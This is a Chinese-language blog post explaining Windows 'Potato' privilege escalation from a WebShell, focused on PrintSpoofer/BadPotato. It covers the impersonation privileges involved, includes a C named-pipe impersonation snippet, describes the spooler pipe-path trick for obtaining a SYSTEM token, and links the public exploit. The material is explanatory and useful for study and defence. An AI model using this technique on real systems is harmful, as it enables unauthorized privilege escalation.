Potato提权(原理简述)

WebShell提权简述
在红蓝对抗过程中Web打点之后往往需要进行提权才能进行横向操作,
本篇文章讲解WebShell的场景提权手法以及提权原理分析。
本篇文章讲解的BadPotato/PipePotato 提权。
Windows下常见土豆提权:
	BadPotato、EfsPotato、GodPotato、RoguePotato、SweetPotato、
	PrintNotifyPotato、RottenPotato、JuicyPotato
Potato提权(原理简述)
为了大家方便理解土豆提权下面对土豆提权的原理进行简述,详细细节大家可以自行搜索。
使用Potato提权都需要下列两个特权中的一个。
1.SeImpersonatePrivilege(替换一个进程级令牌)
2.SeAssignPrimaryTokenPrivilege (身份验证后模拟客户端)
正常情况下服务账号具有的特权如下。

在这里插入图片描述

下面讲述这两个特权
SeImpersonatePrivilege:
	微软的描述信息如下

微软链接
在这里插入图片描述

可以看到具有服务控制管理器启动的服务以及特定账号下运行的COM服务器具有该特权,一般情况下如IIS就是通过
服务控制管理器启动的服务因此具有SeImpersonatePrivilege特权,那么SeImpersonatePrivilege特权具有什么用呢,
下面继续查询微软文档。

授权权限常量
在这里插入图片描述

可以看到根据微软描述SeImpersonatePrivilege属于用户权限并且具有在身份验证后模拟客户端的特权。
什么是身份验证后模拟特权呢,这里举一个例子Token关于Token的内容就不具体展开讲了感兴趣的小伙伴,
可以自行网上搜索简单来说Token就是一个数据结构,用于表示进程或线程的安全上下文,在 Windows 中,
身份验证通常通过用户名和密码进行,当用户成功登录时,操作系统将创建一个包含用户安全上下文信息
的 TOKEN,这里登录成功的Token就是身份验证后的令牌,因此可以简单理解为SeImpersonatePrivilege
特权具有模拟验证身份后的能力,比如模拟Token,下面继续查看那些API会使用到SE_IMPERSONATE_NAME
即SeImpersonatePrivilege特权。

在这里插入图片描述
CreateProcessWithTokenW
在这里插入图片描述

可以看到CreateProcessWithTokenW是具有SeImpersonatePrivilege特权才能够使用的函数也就是说,可以通过
该API以模拟Token的运行一个新的进程,下面来看看另一个SeAssignPrimaryTokenPrivilege特权。
SeAssignPrimaryTokenPrivilege:
	下面是微软对该特权的描述该特权意思是具有替换进程级令牌特权。

在这里插入图片描述
Replace a process level token
在这里插入图片描述
在这里插入图片描述

根据上述微软描述可以看到SeAssignPrimaryTokenPrivilege特权是可以给新进程分配Token模拟Token等,
替换进程令牌特权的默认用户有本地服务和网络服务用户,那么都有那些API需要这些特权呢。

在这里插入图片描述

CreateProcessAsUserA使用了SeAssignPrimaryTokenPrivilege特权可以创建一个新的进程并
指定Token运行安全上下文,可以理解为使用一个高权限Token运行一个新进程从而实现提权,
当然还有很多API也使用了SeAssignPrimaryTokenPrivilege特权,但是本片文章探讨的是提权
因此不过多深入感兴趣的朋友们可以自行搜索。

在这里插入图片描述

那么Windows提权重要的API以及特权已经进行了简单讲解那么下面将正式开始讲解Potato提权。
PrintSpoofer (BadPotato/PipePotato )原理分析
参考文章:https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
下面对PrintSpoofer原理进行简述讲解,PrintSpoofer利用了SeImpersonatePrivilege(替换一个进程级令牌)特权,
用ImpersonateNamedPipeClient API进行命名管道模拟用户。
实例代码:
// 定义一个命名管道句柄、管道名称、安全描述符、安全属性和令牌句柄。
HANDLE hPipe = INVALID_HANDLE_VALUE;
LPWSTR pwszPipeName = argv[1];
SECURITY_DESCRIPTOR sd = { 0 };
SECURITY_ATTRIBUTES sa = { 0 };
HANDLE hToken = INVALID_HANDLE_VALUE;

// 初始化安全描述符。
if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
{
    wprintf(L"InitializeSecurityDescriptor() 失败。错误:%d - ", GetLastError());
    PrintLastErrorAsText(GetLastError());
    return -1;
}

// 将安全描述符字符串转换为安全描述符。
if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:(A;OICI;GA;;;WD)", SDDL_REVISION_1, &((&sa)->lpSecurityDescriptor), NULL))
{
    wprintf(L"ConvertStringSecurityDescriptorToSecurityDescriptor() 失败。错误:%d - ", GetLastError());
    PrintLastErrorAsText(GetLastError());
    return -1;
}

// 如果创建命名管道成功
if ((hPipe = CreateNamedPipe(pwszPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa)) != INVALID_HANDLE_VALUE)
{
    wprintf(L"[*] 命名管道 '%ls' 正在监听...\n", pwszPipeName);
    ConnectNamedPipe(hPipe, NULL);
    wprintf(L"[+] 有客户端连接!\n");

    // 如果模拟成功
    if (ImpersonateNamedPipeClient(hPipe)) {

        // 如果打开线程令牌成功
        if (OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) {

            // 打印令牌用户SID和名称
            PrintTokenUserSidAndName(hToken);
            // 打印令牌模拟级别
            PrintTokenImpersonationLevel(hToken);
            // 打印令牌类型
            PrintTokenType(hToken);

            // 在模拟的用户上执行某些操作
            DoSomethingAsImpersonatedUser();

            CloseHandle(hToken);
        }
        else
        {
            wprintf(L"OpenThreadToken() 失败。错误:%d - ", GetLastError());
            PrintLastErrorAsText(GetLastError());
        }
    }
    else
    {
        wprintf(L"ImpersonateNamedPipeClient() 失败。错误:%d - ", GetLastError());
        PrintLastErrorAsText(GetLastError());
    }
    
    // 关闭命名管道句柄
    CloseHandle(hPipe);
}
else
{
    wprintf(L"CreateNamedPipe() 失败。错误:%d - ", GetLastError());
    PrintLastErrorAsText(GetLastError());
}

通过Printer Bug 利用SpoolSample,打印机窃取system Token,使用了Print Spooler 服务公开的函数,
RpcRemoteFindFirstPrinterChangeNotificationEx,进行向打印客户端发送更改通知,通知是通过RPC
匿名管道, RPC 接口是通过命名管道公开的:\\.\pipe\spoolss的正常情况下UNC路径会被占用使用\进
行分割,使用/通过路径验证检查比如\\DESKTOP-ASD29\abc\pipe\spoolss被使用验证路径失败改为,
\\DESKTOP-ASD29/pipe/abc则会自动转换为\\\DESKTOP-ASD29\pipe\abc\pipe\spoolss转为一个新有效
的路径并绕过路径检查获取SpoolSample系统Token获取模拟令牌进行提权。
PrintSpoofer (BadPotato/PipePotato )提权姿势
利用exp github地址
https://github.com/itm4n/PrintSpoofer

在这里插入图片描述
在这里插入图片描述

可以看到成功将计算器提升到system权限,从上面的原理简述中可以看到PrintSpoofer利用了打印机进程spoolsv.exe
如果spoolsv.exe进程被关了就算拥有SeImpersonatePrivilege特权也无法进行权限提升。

在这里插入图片描述

可以看到提权失败了因为spoolsv.exe被关闭了。
PrintSpoofer(BadPotato/PipePotato ) 总结
1.PrintSpoofer 滥用了SeImpersonatePrivilege(替换一个进程级令牌)特权。
2.利用spoolsv.exe进程因此必须存在否则提权失败。
  • 19
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

虚构之人

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值